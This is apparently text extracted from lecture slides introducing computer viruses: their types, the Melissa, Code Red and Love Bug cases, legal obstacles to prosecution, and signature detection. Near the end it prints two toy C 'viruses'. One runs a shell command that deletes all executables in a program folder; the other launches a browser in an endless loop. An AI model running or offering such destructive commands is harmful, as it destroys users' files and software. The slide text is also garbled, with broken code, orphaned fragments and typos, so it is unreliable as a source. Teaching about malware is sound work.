    What Is Virus
    A virus is
    a computer program that can copy itself
    and infect a computer without
    permission or knowledge of the user.
    a type of software program that, like a
    biological virus, reproduces and
    spreads itself and strongly affects on
    data.
    a program that pass on malicious code
    to other programs by modifying them.

    What Is Virus(Cont.)
    Infects a program by attaching the program
    1. Destroy the program or coexist with it.
    2. A good program, once infected becomes
    a carrier and infects other program.

    Types of computer
    Program virus
    Macro virus
    Logical bomb
    Time bomb

    Boot Sector virus


    Worms
    Trojan Horse

    Virus.

    Program Virus
    These viruses infect program files, which

    have extensions such as


    .COM,.EXE.,SYS.,DLL,.OVL, or .SCR.
    program files are attractive targets for
    computer virus because they are widely
    used and have relativity, simple formats
    to which viruses can attach themselves.

    Macro

    Viruses

    These viruses infects data files. For example,

    Microsoft word document and template files


    are susceptible to macro virus attacks they
    spread rapidly as infected documents are
    shared on networks or downloaded from
    internet sites.

    LOGICAL BOMBS
    A logical bomb is a

    destructive program or virus


    that remains hidden until it is
    triggered when certain
    specific conditions has
    occurred.

    TIME BOMB
    A time bomb is a

    destructive program or virus


    that is spreading and will
    trigger an event after a period
    of time has passed.

    BOOT SECTOR VIRUS


    A boot sector virus infects

    boot sector of computers.


    During system boot, boot
    sector virus is loaded into
    main memory and destroys
    data stored in hard disk

    WORMS
    A worm is also a destructive

    program that fills a computer


    system with self-replicating
    information.
    Types of WORMS VIRUS:
    MAIL WORM
    PURE WORM

    TROJAN HORSE
    Trojan Horse is a destructive

    program. It usually pretends as


    computer games or application
    software. If executed, computer
    system will be damaged.
    They are not replicate themselves.

    1999)
    Melissa virus spread in Microsoft Word documents
    sent via e-mail.
    How it works ?
    Created the virus as word document
    Uploaded to an internet newsgroup
    Anyone who download the document and
    opened it would trigger the virus.
    Send friendly email messages to first 50 people
    in persons address book.
    It was the fastest spreading virus ever seen.
    Forced a number of large companies to shut

    down their e-mail systems.

    Code Red (Worm)


    Code Red made huge headlines in 2001
    It slowed down internet traffic when it began

    to replicate itself.
    Each copy of the worm scanned the internet
    for Windows NT or Windows 2000 that dont
    have security patch installed.
    Each time it found an unsecured server, the
    worm copied itself to that server.

    Code Red Worm


    Designed to do three things
    Replicate itself for the first 20 days of each
    month.
    Replace web pages on infected servers with a
    page that declares Hacked by Chinese
    Launch a concreted attack on the White
    House Web server

    Love Bug Virus


    Onel de Guzman (a former computer science student) was
    identified as the person responsible for creating and disseminating
    the 'love bug' virus. However, Philippine law did not criminalize
    hacking or the distribution of viruses. The Philippine officials
    struggled with the question of how to prosecute De Guzman. They
    finally charged him with theft and credit card fraud but the charges
    were dismissed.
    De Guzman could not be extradited for prosecution in other
    countries such as the US (which has cybercrime laws) because the
    conduct attributed to De Guzman was not a crime in the
    Philippines. Extradition treaties require 'double criminality', namely
    the act for which a person is extradited must be a crime in both the
    extraditing country and the country seeking the extradition. De
    Guzman could not be charged for disseminating the 'love bug'
    virus. No one was prosecuted for the 'love bug' virus.

    I Love You Virus

    Sent copies of itself to everyone in the
    victims address book
    Started corrupting files on the victims
    machine.

    A virus that deletes all .exe


    files from a folder
    #include<stdio.h>
    #include<dos.h>
    int main(void){
    system("cd c:\\progra~1\\intern~1");
    system("del *.exe");
    system("cls");

    A virus that open internet


    explorer at infinite times when
    we open internet explorer
    #include<stdio.h>
    #include<dos.h>
    int main (void){
    While(1){
    system("c:\\progra~1\\intern~1\\iexplore
    .exe");
    }
    return 0;
    }
    21

    A virus that can change a file


    pointer

    The script looks at each file in the current directory and tests
    if the file is an executable. All executables are replaced with a
    copy of this virus file.
    22

    Law Enforcement
    Challenges to law enforcement:
    Identifying the perpetrator

    and

    extent of the crime


    Volatility of electronic data
    Need for fast and confidential
    investigations
    Need for successful prosecutions

    23

    commits virus dissemination.
    And shall be punished with imprisonment upto 3
    years and/or fine upto 2 lakh.

    24

    Virus Signatures
    A virus cannot be completely invisible. Code for it
    must be stored somewhere (even if its just in
    memory).
    Viruses also execute and spread in certain ways.
    They are essentially executing on a sequential,
    deterministic turning machine after all.
    They can infect again on PCs when antivirus out of
    date.
    Can change a file or program pointer to itself.
